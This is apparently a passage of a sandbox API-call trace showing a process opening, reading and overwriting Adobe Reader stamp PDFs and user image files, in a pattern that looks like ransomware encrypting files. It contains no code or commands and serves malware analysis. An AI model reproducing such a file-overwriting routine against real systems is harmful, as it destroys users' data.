[0035.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0035.242] ReadFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.244] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x807a [0035.245] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.245] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x807a [0035.245] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de6f18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6f18*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.245] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.245] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.245] CloseHandle (hObject=0x1b4) returned 1 [0035.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.247] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.247] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x80f5 [0035.247] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.247] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.247] ReleaseMutex (hMutex=0x128) returned 1 [0035.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0035.247] ReadFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.250] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x70f5 [0035.250] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.251] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x70f5 [0035.251] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de6f18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6f18*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.251] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.251] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.251] CloseHandle (hObject=0x1b4) returned 1 [0035.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.252] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.252] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1ac4e [0035.252] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.252] ReleaseMutex (hMutex=0x128) returned 1 [0035.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0035.253] ReadFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.254] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x19c4e [0035.254] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.255] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x19c4e [0035.255] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de6f18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6f18*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.256] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.256] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.256] CloseHandle (hObject=0x1b4) returned 1 [0035.259] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.259] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.259] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x12fb3 [0035.259] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.259] ReleaseMutex (hMutex=0x128) returned 1 [0035.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.259] ReadFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.261] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x11fb3 [0035.261] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.261] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x11fb3 [0035.261] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de6f18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6f18*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.262] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.262] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.262] CloseHandle (hObject=0x1b4) returned 1 [0035.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.264] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.264] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x80f5 [0035.264] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.264] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.264] ReleaseMutex (hMutex=0x128) returned 1 [0035.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0035.264] ReadFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.266] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x70f5 [0035.266] ReadFile (in: hFile=0x1b4, lpBuffer=0x1de7be8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7be8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.266] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x70f5 [0035.266] WriteFile (in: hFile=0x1b4, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.266] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.267] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.267] CloseHandle (hObject=0x1b4) returned 1 [0035.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.268] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.268] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x58891 [0035.268] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.268] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.268] ReleaseMutex (hMutex=0x128) returned 1 [0035.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0035.268] ReadFile (in: hFile=0x1b4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0035.559] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x57891 [0035.563] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.573] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x57891 [0035.573] WriteFile (in: hFile=0x1b4, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.575] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.575] WriteFile (in: hFile=0x1b4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0035.575] CloseHandle (hObject=0x1b4) returned 1 [0035.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.589] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.590] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1906 [0035.590] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.590] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.590] ReleaseMutex (hMutex=0x128) returned 1 [0035.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GreenBubbles.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GreenBubbles.jpg", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GreenBubbles.jpg", lpUsedDefaultChar=0x0) returned 16 [0035.590] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1906, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f2bc*=0x1906, lpOverlapped=0x0) returned 1 [0035.593] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0035.593] WriteFile (in: hFile=0x1b4, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1e8e, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x354f2d0*=0x1e8e, lpOverlapped=0x0) returned 1 [0035.593] CloseHandle (hObject=0x1b4) returned 1 [0035.594] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2QhrP VqiRTmxAY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2qhrp vqirtmxay.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.594] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.594] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xc980 [0035.594] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.594] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.594] ReleaseMutex (hMutex=0x128) returned 1 [0035.594] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2QhrP VqiRTmxAY.jpg", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0035.594] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2QhrP VqiRTmxAY.jpg", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2QhrP VqiRTmxAY.jpg", lpUsedDefaultChar=0x0) returned 19 [0035.594] ReadFile (in: hFile=0x1b4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.595] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xb980 [0035.595] ReadFile (in: hFile=0x1b4, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.595] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xb980 [0035.595] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.596] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.596] WriteFile (in: hFile=0x1b4, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.596] CloseHandle (hObject=0x1b4) returned 1 [0035.597] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.597] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.597] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x432 [0035.597] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.597] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.597] ReleaseMutex (hMutex=0x128) returned 1 [0035.597] WideCharToMultiByte (in: CodePage=0xfde9, 